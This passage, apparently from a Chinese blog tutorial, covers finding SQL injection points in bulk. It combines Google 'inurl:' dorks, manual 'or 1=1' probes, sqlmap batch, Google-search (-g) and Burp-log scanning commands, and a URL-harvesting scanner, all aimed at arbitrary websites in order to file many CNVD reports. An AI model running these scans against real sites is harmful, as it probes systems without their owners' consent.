\u590d\u5236\u8f6c\u50a8\u7684\u6570\u636e\u5230\u4e00\u4e2asqlite3\u6570\u636e\u5e93<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013tor \u4f7f\u7528\u9ed8\u8ba4\u7684Tor\uff08Vidalia\/ Privoxy\/ Polipo\uff09\u4ee3\u7406\u5730\u5740<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013wizard \u7ed9\u521d\u7ea7\u7528\u6237\u7684\u7b80\u5355\u5411\u5bfc\u754c\u9762<\/div>\n<\/li>\n<\/ul>\n<hr \/>\n<p>\u6839\u636e\u767e\u5ea6\u767e\u79d1\u7684\u5b9a\u4e49\uff0cSQL\u6ce8\u5165\u5373\u662f\u6307web\u5e94\u7528\u7a0b\u5e8f\u5bf9\u7528\u6237\u8f93\u5165\u6570\u636e\u7684\u5408\u6cd5\u6027\u6ca1\u6709\u5224\u65ad\u6216\u8fc7\u6ee4\u4e0d\u4e25\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728web\u5e94\u7528\u7a0b\u5e8f\u4e2d\u4e8b\u5148\u5b9a\u4e49\u597d\u7684\u67e5\u8be2\u8bed\u53e5\u7684\u7ed3\u5c3e\u4e0a\u6dfb\u52a0\u989d\u5916\u7684SQL\u8bed\u53e5\uff0c\u5728\u7ba1\u7406\u5458\u4e0d\u77e5\u60c5\u7684\u60c5\u51b5\u4e0b\u5b9e\u73b0\u975e\u6cd5\u64cd\u4f5c\uff0c\u4ee5\u6b64\u6765\u5b9e\u73b0\u6b3a\u9a97\u6570\u636e\u5e93\u670d\u52a1\u5668\u6267\u884c\u975e\u6388\u6743\u7684\u4efb\u610f\u67e5\u8be2\uff0c\u4ece\u800c\u8fdb\u4e00\u6b65\u5f97\u5230\u76f8\u5e94\u7684\u6570\u636e\u4fe1\u606f\u3002<\/p>\n<p>\u901a\u4fd7\u6765\u8bf4\uff0cSQL\u6ce8\u5165\u662f\u653b\u51fb\u8005\u5229\u7528\u73b0\u6709\u5e94\u7528\u7a0b\u5e8f\uff0c\u5c06\u6076\u610fSQL\u547d\u4ee4\u6ce8\u5165\u5230\u540e\u53f0\u6570\u636e\u5e93\u6267\u884c\u7684\u80fd\u529b\uff0c\u5b83\u53ef\u4ee5\u901a\u8fc7\u5728Web\u8868\u5355\u4e2d\u8f93\u5165\u6076\u610fSQL\u8bed\u53e5\u5f97\u5230\u4e00\u4e2a\u5b58\u5728\u5b89\u5168\u6f0f\u6d1e\u7684\u7f51\u7ad9\u4e0a\u7684\u6570\u636e\u5e93\uff0c\u800c\u4e0d\u662f\u6309\u7167\u8bbe\u8ba1\u8005\u610f\u56fe\u53bb\u6267\u884c\u6b63\u5e38SQL\u8bed\u53e5\u3002<\/p>\n<p>\u6211\u5e73\u65f6\u5728CNVD\u4e0a\u63d0\u4ea4\u7684SQL\u6ce8\u5165\u6f0f\u6d1e\u4e3b\u8981\u662f\u901a\u8fc7\u5404\u79cd\u5de5\u5177\uff08\u4f8b\u5982URL\u91c7\u96c6\u5668\uff0csqlmap\uff09\u6765\u83b7\u5f97\u7684\uff0c\u4e0b\u9762\u5c31\u7ed9\u5927\u5bb6\u4ecb\u7ecd\u4e00\u4e0b\u4e00\u4e9b\u5c0f\u6280\u5de7\u3002 #GoogleHack \u5728SQL\u6ce8\u5165\u51fa\u73b0\u65e9\u671f\u548c\u4e2d\u671f\u7531\u4e8e\u653b\u51fb\u5c11\uff0c\u56e0\u6b64\u60f3\u627e\u5230\u6ce8\u5165\u70b9\u6bd4\u8f83\u5bb9\u6613;\u76ee\u524d\u7531\u4e8e\u5b89\u5168\u7231\u597d\u8005\u6570\u91cf\u5267\u589e\u548c\u7f51\u7ad9\u5b89\u5168\u610f\u8bc6\u7684\u63d0\u9ad8\uff0c\u6bd4\u8f83\u901a\u7528\u7684SQL\u6ce8\u5165\u70b9\u5df2\u7ecf\u5c11\u4e86\u5f88\u591a\u3002\u5bf9\u4e8e\u65b0\u51fa\u6765\u7684\u5404\u4e2a\u7f51\u7ad9\u3001CMS\u4ee5\u53ca\u4e00\u4e9b\u4e13\u6709\u7cfb\u7edf\u6765\u8bf4\uff0c\u901a\u8fc7Google\u8bed\u6cd5\u67e5\u8be2\u5176\u662f\u5426\u6709SQL\u6ce8\u5165\u6f0f\u6d1e\u6548\u679c\u8fd8\u662f\u4e0d\u9519\u7684\u3002<\/p>\n<p>\u6700\u5e38\u89c1\u7684\uff0c\u5c31\u662f\u4f7f\u7528inurl\u5173\u952e\u5b57\u5728\u8c37\u6b4c\u4e2d\u8fdb\u884c\u641c\u7d22\uff0c\u5982\uff1ainurl:Post.php?id=\u3001inurl:asp?id=\u3001inurl:Show.asp?Id=\u3002\u53ef\u4ee5\u5728\u7b49\u53f7\u540e\u9762\u6dfb\u52a0\u4efb\u610f\u6570\u5b57\u5e76\u4f7f\u7528\u8c37\u6b4c\u641c\u7d22\u67e5\u627e\u5176\u4e2d\u7684\u76f8\u5173URL\u3002<\/p>\n<p>\u4ee5\u4e0b\u662f\u641c\u96c6\u7684\u5173\u952e\u8bcd\u5217\u8868\uff0c\u5728\u67e5\u627eSQL\u6ce8\u5165\u65f6\u53ef\u4ee5\u5728\u7b49\u53f7\u540e\u9762\u6dfb\u52a0\u4efb\u610f\u6570\u5b57\u6784\u9020\u5173\u952e\u8bcd\u8fdb\u884c\u641c\u7d22\u3002\u00a0<img decoding=\"async\" class=\"zoom-in-cursor\" data-original=\"https:\/\/oscimg.oschina.net\/oscnet\/9bcea2e54a662061d177a0a03f9a1c1f31d.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe1\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe1\" \/>\u00a0\u5728\u4f7f\u7528GoogleHack\u8fdb\u884cSQL\u6ce8\u5165\u70b9\u67e5\u8be2\u65f6\uff0c\u624b\u5de5\u7684\u65b9\u6cd5\u4e00\u822c\u4e3a\u901a\u8fc7\u8c37\u6b4c\u8bed\u6cd5\u7684inurl\u5224\u65ad\u662f\u5426\u5b58\u5728\u52a8\u6001\u67e5\u8be2\u53c2\u6570\uff0c\u7136\u540e\u5bf9\u67e5\u8be2\u7684\u7f51\u7ad9url\u8fdb\u884c\u624b\u5de5\u5224\u65ad\u662f\u5426\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e\uff0c\u5982or 1=1 , or 1=2, \u52a0\u5355\u5f15\u53f7\u7b49\u65b9\u5f0f\u3002\u4f46\u662f\u5bf9\u6bcf\u4e00\u4e2aURL\u90fd\u8fdb\u884c\u624b\u5de5SQL\u6ce8\u5165\u6d4b\u8bd5\uff0c\u4f1a\u8017\u8d39\u5927\u91cf\u65f6\u95f4\u3001\u4eba\u529b\u6210\u672c\uff0c\u8fd9\u79cd\u65b9\u6cd5\u6548\u7387\u8f83\u4f4e\uff0c\u4e00\u822c\u4e0d\u4f7f\u7528\uff0c\u66f4\u4e0d\u7b26\u5408\u6211\u4eec\u5927\u6279\u91cf\u67e5\u627eSQL\u6ce8\u5165\u7684\u521d\u8877\u3002 #Sqlmap sqlmap\u662f\u4e00\u4e2a\u5f00\u6e90\u7684\u53ef\u4ee5\u81ea\u52a8\u5316\u68c0\u6d4bSQL\u6ce8\u5165\u7684\u6e17\u900f\u6d4b\u8bd5\u5de5\u5177\uff0c\u4f5c\u4e3a\u6bcf\u4e2a\u5b89\u5168\u7231\u597d\u8005\u624b\u5934\u7684\u5fc5\u5907\u795e\u5668\uff0cSQLmap\u53ef\u4ee5\u5728\u6279\u91cf\u67e5\u627eSQL\u6ce8\u5165\u65f6\u5f88\u5927\u7a0b\u5ea6\u7684\u5e2e\u52a9\u6211\u4eec<\/p>\n<p>\u7ed3\u5408\u8c37\u6b4c\u8bed\u53e5\u641c\u7d22\uff0c\u6211\u4eec\u6362\u4e00\u79cd\u65b9\u6cd5\uff0c\u53ef\u4ee5\u5c06\u901a\u8fc7\u8c37\u6b4c\u641c\u7d22\u5230\u7684\u53ef\u80fd\u542b\u6709SQL\u6ce8\u5165\u7684URL\u4fdd\u5b58\u4e3aTXT\u6587\u4ef6\u00a0<img decoding=\"async\" class=\"zoom-in-cursor\" data-original=\"https:\/\/oscimg.oschina.net\/oscnet\/8ca9c9e5c8b9a8536c288e2ad2639786344.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe2\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe2\" \/>\u00a0\u7136\u540e\u4f7f\u7528SQLmap\u8fdb\u884c\u6279\u91cf\u68c0\u6d4b\uff0c\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n<p>sqlmap.py -m c:\/1.txt \u2013batch<\/p>\n<p>sqlmap.py\u8fd9\u4e2a\u662f\u8c03\u7528sqlmap\u7684\u811a\u672c\uff0c-m\u662f\u6279\u91cf\u68c0\u6d4b\u6ce8\u5165\uff0cc:\/1.txt\u662f\u6307\u68c0\u6d4bc\u76d8\u4e0b\u76841.txt\u8fd9\u4e2a\u6587\u672c\u4e2d\u7684URL\uff0c\u2013batch\u4f7f\u7528\u6240\u6709\u9ed8\u8ba4\u914d\u7f6e\uff0c\u4f7f\u7528\u8fd9\u6761\u547d\u4ee4\uff0c\u6211\u4eec\u53ef\u4ee5\u5728sqlmap\u6279\u91cf\u68c0\u6d4b\u6587\u672c\u4e2dURL\u6ce8\u5165\u7684\u65f6\u5019\u505a\u70b9\u5176\u4ed6\u5de5\u4f5c\uff0csqlmap\u81ea\u52a8\u4f1a\u68c0\u6d4b\u6ce8\u5165<\/p>\n<p>\u4e0d\u8fc7\u8fd9\u91cc\u6709\u4e00\u4e2a\u95ee\u9898\uff0c\u56e0\u4e3a\u6ca1\u6709\u201c\u8d85\u65f6\u201d\uff0c\u6709\u65f6sqlmap\u4f1a\u5bf9\u4e00\u4e2a\u5730\u5740\u4e00\u76f4\u6d4b\u5230\u5b8c\u4e3a\u6b62\uff0c\u6240\u4ee5\u6d4b\u7684\u65f6\u95f4\u5f88\u4e45\u3002\u5982\u679c\u53d1\u73b0sqlmap\u4e00\u76f4\u505c\u7559\u5728\u67d0\u4e2aURL\u4e0d\u505c\u5730\u6d4b\u8bd5\uff0c\u6211\u4eec\u53ef\u4ee5Ctrl+C\uff0c\u8f93\u5165X\u9009\u62e9next target\u8fdb\u884c\u6d4b\u8bd5\u4e0b\u4e00\u4e2a\u76ee\u6807\u3002CNVD\u6f0f\u6d1e\u63d0\u4ea4\u8ffd\u6c42\u7684\u662f\u6570\u91cf\uff0c\u6ca1\u5fc5\u8981\u5728\u4e00\u4e2a\u5730\u65b9\u6d6a\u8d39\u592a\u591a\u65f6\u95f4\u3002\u00a0<img decoding=\"async\" class=\"zoom-in-cursor\" src=\"https:\/\/oscimg.oschina.net\/oscnet\/b9d292f7ca3be9ff682e77e90b53816697f.png\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe3\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe3\" \/>\u00a0\u6709\u65f6\u5728URL\u4e2d\u53d1\u73b0\u4e00\u4e2a\u6ce8\u5165\u70b9\u65f6\uff0cSQLmap\u4f1a\u8be2\u95ee\u662f\u5426\u5c1d\u8bd5\u5bf9\u5176\u4ed6\u53c2\u6570\u8fdb\u884c\u6d4b\u8bd5\uff0c\u53ef\u4ee5\u76f4\u63a5\u9009\u62e9No\uff0c\u8fd9\u6837\u5c31\u4f1a\u8df3\u8f6c\u5230\u4e0b\u4e00\u6761\u94fe\u63a5\uff0cCNVD\u63d0\u4ea4\u7684\u6807\u51c6\u662fURL\u53ea\u8981\u6709SQL\u6ce8\u5165\u5373\u53ef\uff0c\u4e5f\u6ca1\u5fc5\u8981\u5bf9\u591a\u4f59\u7684\u53c2\u6570\u8fdb\u884c\u6d4b\u8bd5\uff0c\u53ef\u4ee5\u8282\u7701\u65f6\u95f4\u3002\u00a0<img decoding=\"async\" class=\"zoom-in-cursor\" data-original=\"https:\/\/oscimg.oschina.net\/oscnet\/2ffe3143042988dcebdf4308109b2047022.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe4\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe4\" \/>\u00a0\u5982\u679c\u89c9\u5f97\u4fdd\u5b58\u5230\u6587\u672c\u4e2d\u518d\u53bb\u8dd1SQL\u6ce8\u5165\u6bd4\u8f83\u9ebb\u70e6\uff0c\u90a3\u4e48sqlmap\u8fd8\u96c6\u6210\u4e86\u8c37\u6b4c\u7684\u641c\u7d22\u6a21\u5757\uff0c\u5373\u63d0\u4f9b\u4e86google\u641c\u7d22\u5f15\u64ce\u7684\u641c\u7d22<\/p>\n<p>\u4f7f\u7528\u65b9\u5f0f\u4e3a -g \u641c\u7d22\u8868\u8fbe\u5f0f\uff0c<\/p>\n<p><strong>sqlmap -g \u641c\u7d22\u8bed\u53e5\u5c31\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528Google\u5f15\u64ce\u8fdb\u884c\u6279\u91cf\u5316\u626b\u63cf<\/strong><\/p>\n<pre class=\"hljs\"><code><strong>\u4f8b\u5982\uff1asqlmap.py -g \u201cinurl:\\\u201d.asp?id=22\\\u201d\"<\/strong> \r\n<\/code><\/pre>\n<p>\u4f46\u662f\u73b0\u5728\u56e0\u4e3a\u5404\u79cd\u4f60\u61c2\u7684\u539f\u56e0\uff0c\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u4f7f\u7528\u8c37\u6b4c\u641c\u7d22\u5f15\u64ce\uff0c\u4f46\u662f\u6211\u4eec\u4ecd\u7136\u53ef\u4ee5\u8ba9sqlmap\u901a\u8fc7\u4ee3\u7406\u4f7f\u7528Google\uff0c\u5373<\/p>\n<pre class=\"hljs\"><code>sqlmap.py -g \u201cinurl:\\\u201d.php?id=1\\\u201d\" \u2013proxy http:\/\/127.0.0.1:1080\r\n<\/code><\/pre>\n<p>127.0.0.1:1080\u662f\u672c\u673a\u68af\u5b50\u7684\u5730\u5740\u7aef\u53e3<\/p>\n<p><img decoding=\"async\" class=\"zoom-in-cursor\" data-original=\"https:\/\/oscimg.oschina.net\/oscnet\/8c850d18153d0ed6564fc3781ed8d02ef94.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe5\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe5\" \/>\u00a0\u53ef\u4ee5\u770b\u5230\u4f7f\u7528sqlmap -g \u641c\u7d22\u8bed\u53e5\u7b2c\u4e00\u6761\u5c31\u627e\u5230SQL\u6ce8\u5165\u4e86\u3002<\/p>\n<p>\u4ee5\u4e0a\u666e\u901a\u8bed\u53e5SQLmap\u53ef\u4ee5\u8fdb\u884c\u6b63\u786e\u7684\u67e5\u8be2\uff0c\u800c\u4e14\u7b26\u5408\u6211\u4eec\u771f\u5b9e\u60c5\u51b5\u4e0b\u5728\u8c37\u6b4c\u73af\u5883\u4e2d\u641c\u7d22\u5230\u7684\u7f51\u5740\u3002\u4f46\u662f\u4e00\u65e6\u6211\u4eec\u6709\u7279\u6b8a\u7684\u9700\u6c42\u5982\u641c\u7d22\u5b58\u5728\u4e2d\u6587\u5b57\u7b26\u7684\u7f51\u7ad9\u5185\u5bb9\u7684url\u5982\uff1a<\/p>\n<p><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.oschina.net\/action\/GoToLink?url=https%3A%2F%2Fwww.google.com.lt%2Fsearch%3Fq%3Dinurl%3Aphp%3Fid%3D\" target=\"_blank\" rel=\"nofollow noopener\" rel=\"nofollow\" >https:\/\/www.google.com.lt\/search?q=inurl:php?id=<\/a>\u00a0-site:XXX.com -site:php.net intext:\u6ce8\u5165<\/p>\n<p>\u5219SQLMAP\u4f1a\u81ea\u52a8\u8fc7\u6ee4intext\u8bed\u53e5\u4e2d\u7684\u4e2d\u6587\uff0c\u8fd4\u56de\u4e0d\u52a0\u8fc7\u6ee4\u540e\u7684\u7ed3\u679c\uff0c\u4f46\u662f\u82f1\u6587\u5b57\u6bcd\u7684intext\u4e0d\u53d7\u5f71\u54cd\u3002 #BurpSuite\u5bfc\u51falog\u914d\u5408SQLMAP\u6279\u91cf\u626b\u63cf\u6ce8\u5165\u70b9 sqlmap\u53ef\u4ee5\u6279\u91cf\u626b\u63cf\u5305\u542b\u6709request\u7684\u65e5\u5fd7\u6587\u4ef6\uff0c\u800crequest\u65e5\u5fd7\u6587\u4ef6\u53ef\u4ee5\u901a\u8fc7burpsuite\u6765\u83b7\u53d6\uff0c\u56e0\u6b64\u901a\u8fc7sqlmap\u7ed3\u5408burpsuite\u5de5\u5177\uff0c\u53ef\u4ee5\u66f4\u52a0\u9ad8\u6548\u7684\u5bf9\u7cfb\u7edf\u662f\u5426\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e\u8fdb\u884c\u5730\u6bef\u5f0f\u7684\u626b\u63cf\u3002<\/p>\n<p>\u6211\u7684burp\u7248\u672c\u662f1.7\uff0c\u5728Project Options\u2014Misc\u4e2d\u53ef\u4ee5\u627e\u5230\u901a\u8fc7\u4ee3\u7406\u5bfc\u51farequests\u65e5\u5fd7\u7684\u529f\u80fd\u3002<\/p>\n<ol>\n<li>\u9996\u5148\u662fburp\u8bbe\u7f6e\u8bb0\u5f55log\uff0c\u6587\u4ef6\u540d\u81ea\u7531\u8bbe\u7f6e\u3002\u00a0<img decoding=\"async\" class=\"zoom-in-cursor\" src=\"https:\/\/oscimg.oschina.net\/oscnet\/6349d6487484f016e75e9847b96be0180f0.png\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe6\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe6\" \/>\u00a02.\u628a\u8bb0\u5f55\u7684log\u6587\u4ef6\u653e\u5728\u4efb\u4e00\u76ee\u5f55\u4e0b 3.\u5728\u6d4f\u89c8\u5668\u4e2d\u6d4f\u89c8\u7f51\u9875\uff0cBurp\u4f1a\u81ea\u52a8\u628a\u6570\u636e\u5199\u5165\u5230\u65e5\u5fd7\u6587\u4ef6\u4e2d\u00a0<img decoding=\"async\" class=\"zoom-in-cursor\" data-original=\"https:\/\/oscimg.oschina.net\/oscnet\/e71143c44ad8f7c0002b8a2f4f3b911f179.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe7\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe7\" \/>\u00a04.sqlmap\u8bfblog\u81ea\u52a8\u6d4b\u8bd5\uff1a\n<pre class=\"hljs css\"><code> <span class=\"hljs-selector-tag\">sqlmap<\/span><span class=\"hljs-selector-class\">.py<\/span> <span class=\"hljs-selector-tag\">-l<\/span> \u6587\u4ef6\u540d \u2013<span class=\"hljs-selector-tag\">batch<\/span> <span class=\"hljs-selector-tag\">-smart<\/span>\r\n\r\n <span class=\"hljs-selector-tag\">batch<\/span>\uff1a\u81ea\u52a8\u9009\u62e9\u9ed8\u8ba4\u8bbe\u7f6e\u3002\r\n\r\n <span class=\"hljs-selector-tag\">smart<\/span>\uff1a\u542f\u53d1\u5f0f\u5feb\u901f\u5224\u65ad\uff0c\u8282\u7ea6\u65f6\u95f4\u3002\r\n<\/code><\/pre>\n<p>5.\u6700\u540e\u80fd\u6ce8\u5165\u7684url\u4f1a\u4fdd\u5b58\u5230sqlmap\u6240\u5728\u4f4d\u7f6e\u7684out\u6587\u4ef6\u5939\u4e0b<\/p>\n<p>\u611f\u89c9\u8fd9\u79cd\u65b9\u6cd5\u4e5f\u5e76\u4e0d\u662f\u5f88\u6709\u6548\u7387\uff0c\u4f46\u662f\u6bd4\u8f83\u9002\u5408\u5728\u6d4b\u8bd5\u73af\u5883\u5bf9\u67d0\u4e2a\u7cfb\u7edf\u8fdb\u884c\u6e17\u900f\u6d4b\u8bd5\u7684\u60c5\u51b5\uff0c\u63a5\u4e0b\u6765\u770b\u53e6\u4e00\u79cd\u66f4\u7701\u65f6\u7701\u529b\u7684\u65b9\u6cd5\u3002 #\u4f7f\u7528\u5de5\u5177\u8fdb\u884c\u6279\u91cf\u5316\u68c0\u6d4b \u6211\u4eec\u53ef\u4ee5\u4f7f\u7528Python\u722c\u866b\u83b7\u53d6\u5230\u8c37\u6b4c\u641c\u7d22\u7684URL\u751f\u6210TXT\u6587\u4ef6\uff0c\u5728\u4f7f\u7528SQLMAP\uff08\u6216\u5176\u4ed6SQL\u626b\u63cf\u5de5\u5177\uff09\uff0c\u8fdb\u884c\u4e8c\u6b21\u626b\u63cf\uff0c\u8fd9\u6837\u7701\u65f6\u53c8\u7701\u529b\u3002<\/li>\n<\/ol>\n<p>\u9996\u5148\u9700\u8981\u722c\u884c\u7f51\u7ad9\uff0c\u83b7\u53d6\u5230\u7f51\u7ad9\u94fe\u63a5\uff0c\u7136\u540e\u518d\u5bf9\u8fd9\u4e9b\u94fe\u63a5\u8fdb\u884c\u68c0\u6d4b\uff0c\u6700\u540e\u7ed3\u679c\u4fdd\u5b58\u5728\u672c\u5730\u3002<\/p>\n<p>\u7f51\u4e0a\u53ef\u4ee5\u627e\u5230\u5f88\u591a\u79cd\u7c7b\u578b\u7684URL\u91c7\u96c6\u5668\uff0c\u4f46\u662f\u53d1\u73b0\u5927\u90e8\u5206\u90fd\u4e0d\u80fd\u7528\uff0c\u6216\u8005\u529f\u80fd\u6bd4\u8f83\u5355\u4e00\u3002\u63a8\u8350\u4e00\u6b3e\u201c\u5080\u5121URL\u91c7\u96c6\u5668\u201d<\/p>\n<p>\u6709Access\u663e\u9519\u626b\u63cf\u3001Mysql\u663e\u9519\u626b\u63cf\u3001Mssql\u663e\u9519\u626b\u63cf\u3001And\u6570\u5b57\u6ce8\u5165\u3001And\u5b57\u7b26\u6ce8\u5165\u3001Xor\u6ce8\u5165\u6d4b\u8bd5\u3001Svn\u6e90\u4ee3\u7801\u6cc4\u9732\u3001\u5907\u4efd\u626b\u63cf\u7b49\u591a\u79cd\u6ce8\u5165\u65b9\u5f0f\u626b\u63cf\uff0c\u6700\u91cd\u8981\u7684\u662f\u53ef\u4ee5\u6279\u91cf\u626b\u63cf\u3002<\/p>\n<p>\u5080\u5121URL\u91c7\u96c6\u5668\u57fa\u4e8ejava\u73af\u5883\uff0c\u6253\u5f00\u540e\u53ef\u4ee5\u770b\u5230\u754c\u9762\u662f\u8fd9\u6837\u7684\u00a0<img decoding=\"async\" class=\"zoom-in-cursor\" src=\"https:\/\/oscimg.oschina.net\/oscnet\/b4a52cea86f6e853f7b3798b76218199cc9.png\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe8\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe8\" \/>\u00a0\u7136\u540e\u6539\u53d8\u4e0b\u9762\u51e0\u4e2a\u7ea2\u8272\u6307\u9488\u6240\u6307\u7684\u53c2\u6570\uff0c\u7ebf\u7a0b\u3001\u5173\u952e\u5b57\u4efb\u9009\uff0c\u4e3b\u8981\u662f\u7f51\u7ad9\u7684\u4e00\u4e2a\u7c7b\u578b\uff0c\u679a\u4e3e\u4e5f\u662f\u81ea\u5df1\u8bbe\u7f6e\uff0c\u7136\u540e\u70b9\u51fb\u751f\u6210\u5173\u952e\u5b57\u3002\u00a0<img decoding=\"async\" class=\"zoom-in-cursor\" src=\"https:\/\/oscimg.oschina.net\/oscnet\/765d173f6c40bd232310b9ad333062a4898.png\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe9\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe9\" \/>\u00a0\u5080\u5121SQL\u5de5\u5177\u9ed8\u8ba4\u7684\u5173\u952e\u5b57\u7c7b\u578b\u53ea\u67094\u79cd\uff0c\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u81ea\u5df1\u5bfc\u5165\u5173\u952e\u5b57\uff0c\u914d\u5408\u4e0a\u9762\u8bf4\u5230\u7684inurl\u5173\u952e\u8bcd\u5217\u8868\u7684TXT\u6587\u6863\uff0c\u53ef\u4ee5\u589e\u52a0\u5f88\u591a\u67e5\u627e\u6ce8\u5165\u70b9\u7684\u5173\u952e\u5b57\u00a0<img decoding=\"async\" class=\"zoom-in-cursor\" src=\"https:\/\/oscimg.oschina.net\/oscnet\/7cd9724c20b3a15b91831ac905dead70137.png\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe10\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe10\" \/>\u00a0\u70b9\u51fb\u5f00\u59cb\u626b\u63cf\u540e\u4f1a\u751f\u6210URL\u5217\u8868\u4ee5\u53ca\u76f8\u5e94\u7684\u6f0f\u6d1e\u7c7b\u578b\uff0c\u626b\u63cf\u65f6\u95f4\u8d8a\u957f\u7ed3\u679c\u8d8a\u591a\u3002\u4f7f\u7528\u5de5\u5177\u626b\u63cf\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u8282\u7701\u5f88\u591a\u65f6\u95f4\u3002\u00a0<img decoding=\"async\" class=\"zoom-in-cursor\" data-original=\"https:\/\/oscimg.oschina.net\/oscnet\/e88cdab899417f8ec7f17f2c9b6732ec2ab.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe11\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe11\" \/>\u00a0\u7b49\u5230\u51fa\u73b0\u4e86\u4e00\u5b9a\u6570\u91cf\u7684\u7f51\u5740\u51fa\u73b0\u5728\u53f3\u8fb9\u7a7a\u767d\u5904\uff0c\u89c9\u7684\u591f\u4e86\u5c31\u70b9\u51fb\u7ec8\u6b62\u626b\u63cf\u3002\u53ef\u4ee5\u4f7f\u7528\u5bfc\u51faURL\u529f\u80fd\uff0c\u7ed3\u675f\u4e4b\u540e\u627e\u5230\u81ea\u5df1\u4fdd\u5b58URL\u7684txt\u6587\u4ef6\uff0c\u518d\u7ed3\u5408sqlmap\uff0c<\/p>\n<pre class=\"hljs css\"><code> \u4f7f\u7528<span class=\"hljs-selector-tag\">sqlmap<\/span><span class=\"hljs-selector-class\">.py<\/span> <span class=\"hljs-selector-tag\">-m<\/span> <span class=\"hljs-selector-tag\">XXX<\/span><span class=\"hljs-selector-class\">.txt<\/span> \u2013<span class=\"hljs-selector-tag\">batch<\/span> \u547d\u4ee4\u5bf9<span class=\"hljs-selector-tag\">URL<\/span>\u8fdb\u884c\u81ea\u52a8\u5316\u68c0\u6d4b\u5373\u53ef\r\n<\/code><\/pre>\n<p><img decoding=\"async\" class=\"zoom-in-cursor\" 